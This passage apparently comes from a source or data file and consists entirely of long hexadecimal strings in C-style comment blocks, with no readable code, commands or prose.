5544b628befc71d5cc8a951853381c77aa34e46e884d0f00f40e755dd43aeb60da623ecb48db5bf26fc0441ba3acd9e763f1114b816b019fbaccf8c57c3cb732515e70065fba739480eb3e7c6be9664e8b60971e86b4e4efdb46e1d2074465f9dce150695bb43859f9ac18fd2313f74b3bfcdd37e57fcda70d4b4e814f0400c13e14387b011bd47aa542d5749c86c49fdbcbf071b6ee5a5284d42220f187110169c0ebcb4ca68e3a91d1327af8ad7416e7fa9cd622daab5a50bde4485592bd3149d3ad4f81731bcffd2d1c87d0efd31530ec195a7a7686051b8e5250683f65cc10f040f17b7de81eb30aec7b77eabc967d4166e21391edf47185c34f584220d4d6b6a46f80d9db075ea27c79590b0b3ca8507fa45cd55fa5d91a83efa02cab4c2adcb22cd351aaf357326bb6bd03469ec5a71707cb530469ea08f9b1eccd7acf40c355ee732c6f85054688785dd8c5a894abcd68e945ef0cb6c7624bd42551b7f11fca9bb2339c68de7f02bb7703536de9b407ca4f9aae96f1e15543eb008279dc1c9460f4edcd6f2291744857789841e7962e8e832c049bb7ea46695f78e9b6b5afcf189a26ce3f4aaaf7bfd745a8d3177dace2b5965225f637abb570c306813e5bada202cac4ca3d9ab91fbfbf5eeb34ec504e426da323fb62e82999658c82d22652ae1c387ca53841a6fc8474ab1b5f6360127443e127dbb2b1b7aea0b1551f7c5f4478a26e1f46545fd6385f617599a753c1bf2ce3d74e23861ccae9f6b9c1a3b5d6fe17d6bdf16d69db9009fa762dbd6c1f465232608d0d6c17dd770880cc7a86dcd246a13a7988aea76613b5adb0457ca829d419b0223fb6c49f1295fecefcf50b10e1543bb836eaea732ccb526d17336b2cbe32c1bdc38cf2f727afb49882eb362833fbdb8f7192a63cbb7094ea255c91eee9fc9175ab9dc6e7a5a8ce45a244620fcf06e6eeb6d0f8ff7200e2320b4e2f2d0c75db3c71a29a9cb589768f80774a443c2a439987b7c1864713382fb8e8df6dc7aebbee3a54b247749a5b179a1b88b39e8e99f6393181c1d6ed486643fb28832d2d88c61b118071b87649928465d52e062fcadacfa0674c17534cab4832c122feacba18013b031009e1ac477902e86f69b61184be5c35b40e0bedfa2c22be7a6cb5ff7ebef893d18150a34f3f8de51c304601794c2b2ce199c475d46fb2d08675c46d21878d5de1d0e6c0b62f8413d92d865e0735de0f347eb117399648cf77c6a9c5a125e29228959adb23a00bddfc8950e7188b87e311164f67daf9a388a741fe1965a4efe0409c6d775ddee400e087bd0a1615052af446339604ae65ce1316537ca270b1a1920f99173f848afe474a5faecac0be0474e9cab9b505478c1c70ef2e69*/
/*b60e6dc2741df97ac916b31faf5e46c70e8e3f57d25364e076363cd4efda81f64f0ab54b40306b2b81ca6e473701033e51bb80b55b1c532bc4ab9f2da29bce5567df28cf551af62a138690905ca930b3d7bc2790df8ac416adfc4651e3906d7aaec2fb68fd1a42edafbbe43baef7aacdb8ef53c9c206487ee49f21bdbebc9375895eed2d9d01d6f231682dab2867db2ad648e555e79a3d4987df1ad28d16e4b2cdb2195c5569ab00a67629d093ee8ff7809e71451b6a38b8b62554a4db3a04c407fc2fc83259636078ef05c900dd1baf7d5ec06b3e613387dfa81744d12505fc1632b86bf6628c7e933da512580b66bc99f30a3ecefe65dc3d7c230c50dfac43751895fed783816982dc87b13ff5d465ea6bc7f79a68b1dcbc5452bb6c516b50c140cd54e05e82f2c6c30b7bb35abc70c3d2a1a9b179f051ab88b63fe4f9e525188ee7e4d7504311757d9ec79badd277b749692aa5f01b1bfab0ef1944dfecfb50c30395f15f9e7c7ae2a2252608cc0b5a8c77cd5e4bcaf4079b98845383394c490fdc868475eec168595a8444fca2c39d5552daaf69c7261f8552a615c9ac92ee91e1fac419290b9c21bd14301c9d1dd279e3104672ca83622c74414658408690fa6c25e69ac1e987a6de9fc5fb063db3e29c6a00d08aa24fdab476c9dc8ff4ac481b8dbe29918b29f656736be5996456b56518ba820cd3de3be5c8b1fc39e5255592e88e4ed46280bf6bfa4b05430ce72aa58954affe44a3dca3f526c72af7403f430adce007a9942e6a8ba042c0c3028e9c2bf363f5fa1d74b7ed794edead95e50fae92bf2cf1f9d63e5f613adc2e5acef0cca059126a2333aacb2f99c1abc70d9890a0b48629ff48ab9a587ab51d1953e2465e2bf22637358e9411adce755bcf1e092f8b0b849cfc66aefb4f9ee27eb6a38bc0d4cafb9919195c75d33289b0030298762f6054c8736cd21177d3074c485dd3a8e83a81a1e18f5163ab7c58acce11958dc9662aded9cb4ce0b75cd77a8cb136a8ea8b9a7568da1ff9e68e3c0d4d008c59fb4dc4068ce64f81f97de1598e62e0010e42b08ffbe559d7fb2b387cb8a25dfcd83dd8a6cf38257ef316e830b5a17a70a926a0e9021bbc974820bbb29a9797f0980f8177475d878a1c21e58deb8c2b122f074ff1cc7af4b1d25f57cac367e6b2c1c29bb68c2cda30a9f1832b89ad73bca226e56c5bdf01bcbaeddab1ffbb0c24fd5693b9d7cc89771768dc9bbf31dc9495737ceb094478253299377c84f0b3c0ee9d3a6d06baef9ee271664e7e07fac50e5334bc1a2b7a6ab90175d6b53d14e973b965ea3ffeb8845d9715f9783acb4eb566e40e9df3170c2a71a5e55cbbf2d461e1d6a8cfd46f2ea935eadcf2a4956f7b091739a8d483be59dd870bfa161191d0481c419024e18828450bd849d5aaec909bbfa33ffd0e05e67fa3f629ac0a1b483e7a6e75d97b7295b42d79fb55024bda329da92090ac0f12f620dc5141d449d21386423f590019231183623f91f5a150f8470c5a8b3f2f78adc3cb997d566ea125edbb04676f79bbee3bdcd0fc39eb0b02da44f0823d777553a39a34363cdf288edf1ce606325dfa86faa3cc136e00c06a40c8372e89d0e51f681f7ba39b0d8f7a1af18405e24d72a040828a6bc3ee4ba7de80b06e8024c8aa0ef10c548fb6c7ab7018f83d7da799fc4ab4dc872902ad275be0c98cbe72710a2a477fd127d58a3f4ecd9f0fa13f89c2033911922527e568f12771e0d9032b031d04c9d9b7080bafd0caea909d4ed85faa69ab9184a6ffaa0f516ea20077a0fe452b88a12209eb58993234bc69789f0d5b785922cd94fb561c81626cfe57d74475def61377141222b3fdd02c9da18463902c48626c13d8d2d0f100159046675cb92d7f8cd78ae30ca9c5bfb46c929967d971de4a33854ec66c8d4e3a9c494d07398d30a7180847dd38bb6da9c3b74131e237cdc3ca5702982a3cb8deb882b4a7a7df75f0fee771876d27d638333e2ac92c67c54f1d9aa0a550f2c1aa7b9a04c15236aa4a60d625bd3fec4a8cab0f4e585ab17d60cfb7e87ead7af44490e1c22af295449fb6e6d375bae7acbfe7099547eb7b660eed5467cbd27dfdb3a49a304f8f80dbca0614e2496bc42f00cbabbb75f3e076af33cbf7931401c3287005bc7bb1291e07ccbb76b147f0e8e10bffaea63a2d310cc5a6b429529c60fa54267ac3381b16149fd5ecb0442a5775697f2bc43ea70dc81f214f94020004371100e2fab05233095025882a2671ba9f237a6bc2c510b2fcb99ae6ec7b6307157e399b839b086df9e4f2e609d68514e6b56064a3e7b12df69e70e335869a7704a471b5d5eea09a3b9a05d6cc1489a8eeaa51c94b2805cc4d9685ceef2382d1cf4ecfa0aa2e9e0400a3cf20308b10dd8cca9f81a2ede2b49f560f5808401b361c812331e4503f114b640f07e60562f7e51cb3ab7476ba01f67da6b51dd38a535780129dd74e76bb597ca9b36525f525e2d3701fbd1712bc5b582ae1e32ad4bf5a59efcab8fe44e05b6ef9a05f2f39ec1a4fcb29d660b2a46bdf668c660f70d7651cf7ff5896b6e90f8d5dcf224fb6f9bba2f147b4aad981c99b9756f1f00f07d77b2c3181a2b5a276b3df397c20b0c1d20ec0a6752c04aba236f6e8163bfb69959814a22835a92df0eb3b5e7d813857ca810e3a0da062f400ccffafcf5ccf2457aefd5c69a687e1e75dc08e6e6e3d5fceb778a75d2ba5e7211807093dc5f8840a28213b58ee598d11bdc166a5a36a16f5b2d601022a83eea8fbd0b87d972935fb0a74d98963956e798beb3440b5076445d62f16a2df*/
/*7aaddf16916677cd205643a1083a7cd60cb862d9c8b7e0f2338e21853a7ab3ebb65e5a702ce79cc4a81a3737a741129646e0626355173cf0554f9c8dc0f810ab607966e79a7cccc4ac905315f9851be18a7489774acb097e2cf9e22fd98382a656a13b9617fbccc3ec93fb5223c80931526e82b5b9944249ef1b561e70d65729338411de8ca7c9d6dba957b8b5db1492d51d675ab29241ca09643a28fdd838a00aa7832cb1d94019adf395c59c7fecd54c0eafd84f34ec5057beeb0b6d093bc42b76da09ee8cb634ca266c3e2e6f35c958e6182ee67ef9c369fab813c1b77af5aa295477b18da88771b5a0d487a8d7b9e8db34bf8e6320e664b2752202853ff67379979f887d6c21dde24ae7d6d84d27ad4d42c5ce23950929d6553df257d642d467a51f97f23f2d4bb4bdaefc13ca64406e0c8e5163800304e4661be6c7b30bd8de2219b115780f047be9438e262bdb492bc01e0b2d8ba705c2804001bd10a70d512b5a84f479c6b94e720f6e667f9253199884e0f18ebd859690d2fab8f81281fd3b6b16d26eb54c745233137e4526fbc32682da5c37e0331d0f13fba98ec5e8f0f3c9dcba373f4c51472fafa773f9b40d40c4a7af925611c70076e494cafd52f99aa3b44236cb0e25e5ce7205fc6c823dc8abc73afc54e3d4e45770d98087395b95153274d699036ee10c336749416005d37586bb18d5a7bc7b84acccd4c7fd8421a331f6b8c5b0afc0eff2bd1a91d716841df184545b6087e7e85d978bb539edeba0903af384ca46713544d27c19133e6a980a10909e098dc477055b84899c74657ea9eaf300fe8e0196e776ffa7940d13ea24d442b29748c3348abaf3633f130b1d0f1b0b49bd8f1a7b0fd5355cc5a493d998afc816a31ebe515851a4b7351eead1c984c6b7d31a8617341a9740ce4acea4344dad3a6278abbea9ef2e06913792f4bb22f40febb54bb3c7f2e4484648bde7ec4a7e3151b47f25eb401d5c4ae29f3ebd57c0df5f53c0ec83d819705105d8f75ee43f1a6e658df42116c7220455c2ed24ec0fba2ba65766db3d828393802dd45ac7f005ecc45a584ee3a22e616f6813458e3085c657637a9a195f735a30ed9f505998419f46a09d5f0a4f4f868966bed730c9c01bf542f121bfc7416798d1b6acda9f27d4b1e3e2315e13842e7c468f4425c70e9d07caa30f6fcb3edefc0e92cd19d6a5e35b8a7ac3091b129b1299b06bbb9f2d3eaeca9e7ede6e9bf5110b7e8a335feb510332c21014f586a9338d41947bcb3c69e86a47edb6bb2cfb9fcafbb318cf8c9b44da600d98789b653e3a8b0d8dca8111dcab20953cb9fcccf51f6a57e2b6b8562970a8241784e312e689563c5f01db01f7f0c45eb701d770751ed64b9898ae00b55c54b01327976ff9e9c4af913ca4541b121f0289f02152efc7f6d9099f1a1e46a43811688c55924f04633ee06fdb68e258ad4e2b166b09e5d3ee79ee4320290ec94f7ba36bd1e74aef6b33e86e3cc5d5ca3542f444ff88d7353405ea20ca134bd38372800f9af453a167d6a0dfa3efce95d2d5a60b5edc883701b63695e795c522b4e917dadee39e1d5885dd5548dfd3cd152fa6a245377f19e913ea960265d68523c069c60da5ff068843a0502530dac73b085c4ce1a95d51b2d6308fbbfbcb4ef5f680ee13bedc458a0a782deb8c100d643183212cd6c5c1faf755d8ab31c01a5e6eafc5d12c3b3ac0f7483394f896d5e36637134abe4778d45750bdfc2c57d5504065bf3c4103440525afe6f41eb93802abfec58b2f7d0a5386214fc9667b9df24e1e288463e76dd5620b964974b2ae3be1ae06e5f3c7d269e92f5a61393c8dc6015ee3fa0356e01ede4a2cad439ef2950cd7d771b274afdc674aafb5bfc231ec07513bfcac51cb8d102c59b31f8dd8382a1e0234776da131e8d790bb98aa0d8a3a61b8969fbc357be0296e44cd02b653e0da2bdaa426d82ae09c21d56fb81d800d7d8bd3600e9038bccf547d5eba61aa48267a80671458fb25ad36caf414d4fe3cedf4b96076917d9cb3a25110e51ac07a6526d1f95c0cc922f4cac31c3d761b6df39929bafb89d949f5356ff3fe462d46c0e60ea5d4be7d73868be337e19cf3e8beebb05bd52efd27298f01970232c34a92086dcb2fc2195dac1be1c82c914db7311ecc2e68c8d3ba0a4438874a3fb5961f525b4e85416c87ec30d642322e67655522cff648a64da474ba469d35010f73bbf5146e955c59be1ab92071534338dabfa8c6123f8b2dd9308009d49ad26fec6dbf534ee4fe0553df9ec30c6c02353b751cdfa7573de1208b0e8602dca5f01ff863b7746f1528aec025fc2ecdea694da20c53aaaf3f3ce0a258aac37edab50ecc848f804579e4861265946752ed7dd8fc520af56a7afb5b3537f7ef17704899f42f82b1246bc5d4e8efcea91260b16713132eb213412d94ea8504efd68399272eef818bca1a939cb06b9b9d71d9a9768265ce66e5f64c5ed9ccc189da81d04c1a09f583484431981736df85f19ae2e9d1352532849a6c814a84fdb97666f2e2cbfdbfa425d99e62d672797ff1240c798aad471e8061b6879acfda652db0f235076e4842dccc38378c4d57b89a253d71e426fa429f18e8e66ef4e462c137c5f067a035fcc0c57454953fe362a2736083263c3e48ef8974bf3bfe0c53bb8c98d130118d5c50190ab1c8110e499644631e0d746f5e0dbaa455746605f1c8a993074faf8910656992be6166a79032a211ca1e93fe023f1cb7688d661bbbefa0fdf299d94815387bac60b6f6ca4542677cfe6677d3b8055d081fd0d747f92beb9f3b3b8a7d*/
/*e7b52976b74ce865dbc5e6f6b0c99ceedaef47c59a403a13f663c89e789486770c3d5faaea1f82f08f834c567013b3dbb55e907dacf42aa6154ef2f3c77bfa3b7635acbeb2f8da15b55a21fa203b1bdb777b5b48dad7af1635e0f4893279cdb07cc9052934a8eac8d7be18bba88c7bd32f43d1b7e38b9e2731aeb8bc86dabb47ecd7fa31d040f44081a012e665779326f9734df42996984e1e1802b75c71c34cff3e98dbc08f8824334e2c7e6a9aa8fd91de28e47852fb767f09aa702a3456d282b51527f2bdbd79d0c21ee23f0d9a183aea34cb60f8ea491741a3772f74f444b855deda718674dd76d5aff507a569e82cf6db1acab065ac667c721716865ffa2dc551ef1bb3ea0e77798bd68597988054b7705ca1e17a36fdcc5773bb2dd37371d4a4e2e8e89863c3c633e1a2662a2637f34ac518b746d93122aa26291aa4ccf105ca80408460744c7ab8c920532daf82bd29408d413b66f62df4f30381de47da07b317cf355f8f4ff2cefd99783af31f27f43fc11931620d52a30058cb8e6962d1df96c26599c2ab6f4fd52d3410fed6d6a0b4ca7ae414c50b01a55c79b942f25e268b28c74aca8de4d41120efea1ce8d89421d06298abc1c0c57ccc57888162fcca9a27ae48307bcc996eb2c67b1446269b9d4238abc248272fd08b5f74e3353d875babc32b793ea4220d00c768ae5f818fd0ca9bf92b09cf436762f5797e44cd7882447d977f921177acb287e20385bd51ed3a87132f64f7e55803bd9f866c03d0dbf9284f16d54b637010c0d064c260110ae70625aa82f94f7e4402082fd3291d79aedcb380acca89e7f4142752eef5199c0462066e1b737a7e9a6252cf1b2465bf32b131ea1f0ce2e8e69c041146e62356d41a940f1a62291704ebe04c25026f6b924628e19c010931039b009bed05466e895a5471edc726b4770eda0af2be09a41b658874dd2c3705191f2bbd2bdc9a5e3bed722d23d5fbdc9067318d487d6dd63f895465fbfdd9e426fb7485e5d95d0d7e5752bfe25e1ac6bfd3c90160149b819857e00a19519939957b7181d6d8f64d8a6cc91ea5b1fda27a56f00a7ac712b9f29c4467e3d6e3aa481033b2541610f240a50a73f6c9d57d0132d58f8f3ca1d2a42a6290572396598e375577721aa3d11c6df499c593a6b36335e5cace08ec6fa22dd8e1656a55ec96b74ae1f835cea535a818774a28dd588fe290a6568c9d028dc749903601a8cef16615e2f9aef8397164f1508b729f71b68126fd1eb1c41b590a55251ce31314e18ba9fbb69bc81dfaa738923312ba64f481da522434470a923b671791b51713fbe955d8494673607693302f1fe432f0cd722d01732804d7f43891c58f2fb851f3cfbdcd384f0e11e5d957cf5c6f5c9317c226b5f92a6246f6dc21e7ebdbc683c31e2260ccd58cf2908b651ca2b4a2b841f5eacdfc45ab1c151265575b6b8d57b1eabb9f6daa952eaf83ea7740ccec5db4c93b9aef7b3ed34047929bbcb965169196e9db3f4bc6ea9828b70afe3a65f9de15e6bcabc0e3bb1c3302bf5e3adbd182d02905cebaa61ab75d7a119435884b7e42caaa6184c6f7bde4ec72fe588afc13ddbfcd357c560ab209e23c2e0795274a129743e3d82ea96b4bb31cb8f17cc332b5b465606d09ce467913738f1a0b983602fba384186b7277889b0c2c54373200980ab8ab5c35a426cedc6d190c4c3bbe2c9b7fe90a3f703820e38dd216fe66957df48385e85674e591d608c3662fdbe32652a7c7fc72526ec88d644197da532f58897e1581d730847d4db6621cce988619a49f096cd61d7457fa0fdee30352d7d55117b99e20d43b8608e70c1116925591e5b19f079430ed1545e5e9207386573ee67e1caba3a4d4ab603ffc419727c6cd7bd7e2fb3cfb9b4597f5fc976a403ac23a407677c2f28c38bacfb3ec343c148613c7c12803f95e9d44187bde2d3a32084826403955b5043ac3e338e77da5e2e1f52937e35b3669515219389b693f2dbf32c65d38660ee4b91ccdbd39655b2b00400f5cc5978d4392362692579c6caa4015be893d65178071e718de8c210294167aeb55e6c0211cfe744452e71302505789f2afb9997f1702afe4ce952641cb7ff0fbcf1cb8961e35f7f9e373072cc0d3507de505d48f6fcc76f660a1bac0afd564fd2b1aaf2c06e97f96fb88898497a971194187d583d39e6ec31de0bc7dc5fc168c29c9a69a1bf54db1e509ca9e7983d26c47046f2334c697c3c5b96dd807bbfe7d28290151805afad6851fb13d879c2ae63608ee0a1b95b60076751dd30fe30b8ee4dca6b703879398d393b2ab41ad6164cc3678e9a463e10df8f3bd9ad05013e5aa0fa69a45dc6960c1bbf36803320b4fd9542ada7b8ac98ae1105cf2f83a4d8e91c591a1f87ec0447092e0786b755fc1664bb6f86dc96a8b82e1a6b12d792f78b849d90f96e4eb0a8fab889e883b6fcb5edbbb2c35612871266bbbbe2a00f54f4e612be29c5a92f3163bdc823111d1326e1e8691e37eae445044c8737a103c2f340194daeb6e7b3d894686cda4ce377e86027531e97aecbc9e7dde8b61100fe6a8cf07d14b605ecca9b1b97abffe049dc93b25539794cbc08263bb7ae108ee90a017d995ff31481b9c79bde941e61d578a60397de7d649c2c077114b39b47e63890ef47bb0529261d7277d067e7f2131331ea503b9c51677f1e6732cc0bb55d4def40c8f2cfdf74043ecd066251dd90719b35a9b9ea3b9279a26d84d75b412551135bfdf2f892ac1ed7df3b992291d34aaf8f9943276783467c9fb832a1decc3d0ed57578577bbfa3ed9ea5c0d5fd111*/
/*41a798d287fee730c898b31d0eb48e130404f18149ed25c34e95d06e2b56204ca6cf87b7c5840504d22b68d290ec88922ca503ade52dbaa538c08b10f40818acfed95af3e5f1a0c3c33979ee00600b643fba3310eea1d081ff6a1892dabbd95fa1c9d4b2a37d2c3fde35fa5f1374eca102634abc0c83ade713082cdae4adc4a5371f1f3dd3e306f82ee16b94fe3d09fb3663fa816dda085bcf725e4c577d425b4a8f77d3a75d357855d02e579320fbd7ae7896016a35c1a4d534d618f1d6547885cf0496c12571b18743368b294685b2ce81f0061678e482d33baf552cebb91eb764055625ccfb95076bb041609ce31b8df5a656fc6ffb1f1f19292e764f27d031377bd93bf6bee47dd689ebd39271174c0cbb977ffeb357a07c20a839fd7be44786ebfa2449b8851331dc7a34dbaf2e0facee71d378793c74a46a6fa56c7310cc646a01ddb8a6fe4935acff33bafae50c67598d9a3f7c83c5b525f307ba99b1b5e4709d68b1dbe105831f898a76c3a9401b915546520dcf4f5aeb182e9270c03c279c1bf5660d3d854f54eafadd9b74784047ca2d869e1062a8089f0646bcc6a0abd304ddc1dd360ed1afbb19cdc6b88af92f3f654cc1db36a03f5b9ad4ec2987a7d8fefbc532885c6aacf0a0756e5f4abbeebf3aa5dc26d1ea4a434480a3748bd869dccb9d6a51929d7fd21dda5159fa726f1bdc0cce3d3cc91b3b8b3e074c3003a82f58551d9a4a0374500db8f664bdf01570098e12c68c379e761a76081bfc48e0400ce1f87650584bd1b3b33dd1a043461cf1278c9f160f009a828c8c839b18ab94f95b447e55e4bb9a09f65ec097b835f70b74bde7670f2c4eed5548db89703aca637d60bf757d2c5ee289187df28942f4a2cc88c1e994ac491ed590d25fc93b639526a3d1d3378246afe5e1406afb2d50897a4f5f07eff5a69de8263875a6861d8700e8310829e82ff63627d5d6041d484c12bcdd6dc300f9f9e955450831a50f3080af49ec3ab2994df09ea30400505e63ae3a0d77ad2bca722a48e139691ae21578b7ebdda744944f309feb29ae26382a73e4c2d885cf1728a79b19dd1ffc5275228abcfb99ccb39708bc8ca9c7b113d9e75803fe6bee818dcf7f444594612db9c8d05398061a4e7baa53e1ebd5ae1b9b7c55c876cd7d8e3004b6ae8b02ff9fd1f391455078023d5024a928120e5a685a7b1cdb735b2f485f2558375018c33287a8503ce2347f9fc525923214d08e1bc959afdec4b6f19770872d098f2bb6229980871defc9ea35d9718248a059ce715ce0ca3cab87c43752f62893c448b49b78db3439a2f26b277277b3e54100fd0d58384904a5a5818f8958e7f096a2c02eaa2b1a926c715c4635ce6fdbaa7ff3007076143e93f08d5328773a027e613c797f856bf12842ec74d9520bb48a2c811ff09fa362b1e6c2d2fed3d36a5e72633367ae8ee2dae9ae6a8f36626b99a66fbdce7f3375da04c9cb7fe296eccb7b12036f3a17226d13ea51a5f5a1f65b790629f5aa27a706237fc142eacca2d2f98f8708aad26884a5fa3b9eccb66b6166bf665b1ed0aa8222c59180e54778aee46cc539b6f612c7233a9fee8cb2c495145f80cf5b439701680fb02dbc5c1571ffec5d17ad38c273819273d50d0ccf15cc18ea5d105e9b37687e640e3d5bcf487466fb9b95778c42fd4539f50701318f9ab0aa3105b1080ce6359473bf86861871cc365e961c3ded77c1b729613054ed2d4d9e486d233d4180951de1bc1510a6a680496264c8c5ca4f816a6f5630163aaf3e91f31fd1d8c5272e9eac9365393793e04130bcf2cc457cbaf7174e12b80347d3ef783aafb3faf74af861c2dcb63bc11833cdd86feb06113caafd9a29bb734ac1a7c81a395bd1a4d389a1ea425405cbb54fcafbe228b06986c54b635ff6bfd1f299bb8b0c5e7a2fcd10b392435de05216ac20086a37e8f8c602fe6835afd8aab6ae409af2d05eec74e6b7f9af14a00d22c81d3ed98dc62ca52c84472ead27a956bc60e30c0378354438ed54195bf5fb8aa8bcac5c77be5de9ad6758374280aacd68e2ef38f61a3a046349fc017f91ae6a667a04c60a00c248a4191c92795828d6164b2062bf74ee6667312a079e8fca9eef719f894f0e009a0520e419ca30520d64af105ab37ff229df6e7449cb455b0be8a3571e705b1d8404352087b13bb198f494965d1c2caad3fc223d62cb92c0bee195136b092e4554cdc77d99373af2aaa60f2e1b42ec4ef73d2df92b5ef9b3f5ff0012fdfa55401887eb9dcc69620fdd3ce09304677b26d456e891438fb885096dad38b2d7c87676132ad4cded362aa7b5cdb2d35980971397f9974e85941477e74fa596d545eeb7aa9bf6b5705651f8ea620e48214a224cbc114b49a6e67228625e258994cc69c376cc89b0bb366230c22246a838dc799b80e4645bb6a4ad760c2168b205734c26858379399cee36a07a5385f8b5fd378228a486fea72e28f39c475b9a6ed53164e6dc47bb995b043391c9a64a64a98b3119630a5d68fcbe9845367e762a79ff3fc4c857c4bda9196a501282a9c6d7fa4f65525c84cee5b043895283a3d1c1c57b193037e5a67d3041d5c1402213fac6202e7fd744a3beaf64de8aa5b13b9b76ae6902555cdfef6b5470f92ddcbb6f6060c65c343bdd9fd9a17122fc0f9239c0ddc2d48ffaa03b17447b72210da1433377548532eb486cd5e17cfa4cdda98ce30470c1e4f55a2cc93593c13a9cdca8636b6283a41a3144e375c77a529c3cbd3076246e3e2bb6f5fa672ea25d77a1fa45aed2c192826cb50ca93b1c45389826e5aa03666eafd2*/
/*8dbad1628c405c7b31ec75ee023125c5a3d8f2b35221f2a74d0298ffb1a32ed1bfb195d896b93cbe320e9b69251f7eecaacc2e587e89d450237a7d4f505e126dcc67a074fc424ccccdfaa7b299ad78b59c5ca17f8a063fb3e002c34ff52da1160be33e79e8e99c221ab97d262a52b7c99332994500858451c98bfe5c32703f4eb75be398f722180b568cec866d28f7b1987e61f2d8cfe385d0a4bbff5470b8885fc0d0c121405c7c77c64e2a0484f572beda7a712694924a239f968639f96499d0ec02fa80aba9bc35335a0813a8c9d5b0d73ea40199998247a7aaca166df45193a7c4962da542d20e8c7037c17795ee10ee7fc366022e2e70bab8f21ceb0e61f4df25e686fe53accc49fa96099154e41d2e99a746eb92ccc823e08659b999cce68761e16a4de8bc017b0a0ae84ff622e579aa6b5c1e63d7f3bce92ac50a786b244190164c853e5ccf2e7b2ef247826f5ec10ec25df479a54de15aeae9e9f1972163759105b066efac9f69b868072a878ac4754f16bdefefd58077f9e86d9e4634426720ec2b6ac6b69e6cb83a56b5264ba5302156279f892af18a514cac7ccde2710d4bb371e9569a1c32ab15b09a36967c5f3b3c506082412c393f52d786fd146cf2e2235bc24b26c63cbc8fe354da0b9978fe175d26452bb3b497b135b8d876502c1407fb07dc0a0e4c841501ec2fcb8b84a433824d504b8dbbc5817839d676a2fee47d900ef7658e0762c6de0e1d60fb01d23c7ae8c6dc66d37e0d1ef830861c265573d5a0f9676db969e28bdca72e447ddfb2cd37fe6d1612540d7c64ec18df37fa8bb76a07aa452954a1e62b8857e018ec55eb96fbb017dcadce1a141e3379b784dba0645e4967e212643a9ad28450609344b6da6db547e0176a987288c58b270b3d2c7ab3573283cd0944c69e9a87becff59a8526fa1eacf16660f25125eb6d863b475499fc33d3cb0bd7c62af4168511309b74e50ebabf0eb8fdc4dea193d799cabadb533c1531e99c8d9f70b073173413c30e985957d079c1e0893f560c651b8bbe825a735db2a285b7bfa271fe18d4172f1aea21548ff2dde19b45262eaf4803fb3ba55b728d496cd65fd6e2b4c6d6767c47c8245000ab7a3e23c5d77a429cc70cb9f3898f50c0dcea0e688bb0f66a41b7efd0427aab57a7b6cff653d6e1dcd403a8caafb9be9d012b75fb485dbc4d8fcdf590dcdb7a1679a2ba4f81fa98b67cbc51d7d29525df0dd7296114a418431e1df34f9ed95569077d8c0c1fea9405913eab7e5afbc6682d4aaaa37e3e924a10629ea2d6d2b943dbc2e39259c0cee17399c889b2956c0e487509321ba01c45d925180e3d56f71fecf54eb9ab710e5c87b68e9c7393431a1d2a95bd27a5927cd42a49ab8b75aa737a1b844a6dd242be1d54824d12afe1bafd399957ecb2373c0dde247d880d657943c27e70489846e55cba98c5b04b295d0c9f267ffa6c2ad0cd8799c399d94f2b324eff46b6e2b165c30a973bdc8b982327536c03b969a53591aa25a10d3da20fe7266f2cbcf3fb48074577f9a4a76b6ef106eb58a262a280ec91fd718c1b49e4bc88dd770feff6c797ed69890c6dec695852eccb3a2d2301ee6c1fbf6194ce4e412ea0362cc2d03d15fd4e0a96d0288a004ebb07c0d74be87511d9c705af4581cf4b5e229ec2be2f01d5d4c344a5a1e3b2a4ec345e43f1d1fcadbd9bcbac104a9a5102e50427a492faba3cdf4a20d92549f0b1291b61c432386cb091d4bb5124cc06cb850cbd3e2d89206c30ebb57613f1c723874bfe9880f5935000dce787d91c9e9469e341433aab33cfb3d7033e1cd25c37797cc11a3ad34d42aa6a2777ef6b14876dde096125a01b6d879cfc06b2b50c8d997586a82c866d46d483c3c4155ed48a29cd337c8a70f40b9cff77d6fc0e756aabc3487b414b897d2da3ed7efdb7155ae5cb40ce5919dc1deaa63defd7a2f7d97a625d72fec5cd0e1b63eabad940bc38b63116850546b12a694f9eedf1bf63c87e83db92195e12c4a81f8a358c131789436a1fb845c8799d80360916dcadd6c75088235736eb148e237b444468dd5bf88b9a58d8421c09e4a1322dd03085cafbce640fb67737b60c15b7740c0709a2fe12e9915e6efafec8ba3c41a7254d05a1f2f597336f67f5f075f1b45496029d96bbecf657d73a58fbebc87349e7d71a42c66a452f3ac86fef515ce272f5f040892c8cce5f3add2708ac5352615b5d3b628fbba42aceef26b7f95658ba78e87a4d16fff1314d8dcba2c333824d85234ba07a49dcf9d1cf4a0cdd406ffc3282a394c6ae47c3747787ba0a84de4dfab78adf42a163b7e426430587b2e225163e0c67862094388e7922ed68e5d94ec4bc8935e1ebf67e61d257b05bf30c173d2fec3f5d09fbf94d79182cfbe1b24dd2708bb364b363921506f3be571b5e5e64c3aa7f7170d874413e8519fed84ab8af68672857db0f438ebcd778c64e2ac3ec603c7606e31309a93a62a938c6c613d4a9acebabb51b1c94a83286e7799f81383f045ea415857eb5f3f3e95419e2ba7c047037369f99d38338dfdb8522a11f8e663736774a1954f1650f30f0e05cc334cdac40deaced4477ce7aa8708d9f01317fa1944d3456f578372c403a7c0ac181341db620a8671bd10fdc87ce2b243e8df65ff7b8887c7cb2dad6ca505a82ea393c5cc818891221ede6e58d6b3e821a73b6167d0e4ade2bc08c4be2a6c689c36593ed2296607e25043f2db00ba1c441d53bca8095bdbc91b8b993810aaed27ca57b52562ab39dad01b3c4408ead8279411b3780a7e5a292060e497c9ae2e18cd6e4947c18*/
/*c89760555a844216766675c6ee5a21b924a5b36bbe4d3ad6477354e91091a1c83b6acf6aedde2c9e3f1580631a225918884ed050d697dd4603b2507685f4b221771f34803e1b9e0decdad9d9476f7d0cc43c820c7c0093c6b9f273e58c09e24b4972b2ce4f51a4f64aac8e115c263491e52d55022a008c01ed97e1c0727c29ba14f96cfb2d1e99bb8db07c719a10cd5029cb572c0c27315f50882e3e2989b7675d667755bd6363eeb09a7e7503385eaa468ac4a324ad4ba52dcb4d58a8056ee66bd6979d2563b8e69ff930eb9e3b2fa02ad43d4c3ee2b7108725e19f8bb4fabc1e251a551bbd88ab9fc51368042d1b43b942ae180570b8f8cb226d1ebd433ef3ea6189c28d8cf03912c51405593bedb302c15589dc28b4fbd630e41fc31b495339d3d2676b3f1ada6bc9c8580f24ad9083b4d11fabd69f8deffa8c9918cfc325bb2595a0437c3da45a5a6e11377bf20664c63c972a557aed8230672e06a6056e662ad57abf9aadd2f50ffa804c0c7bc89c26984516166a14c70a4ba8c66e33b49ed9fdece8556e5bae7695dee2fc3638fd046734baf38f2e5dd43d3edd79f97f7a14a2690f0bcc08918a98b8ec5cdecb598dc700534047087dedc6a20cba8216583eaa8a2f624502c7a43ffa3ab4b7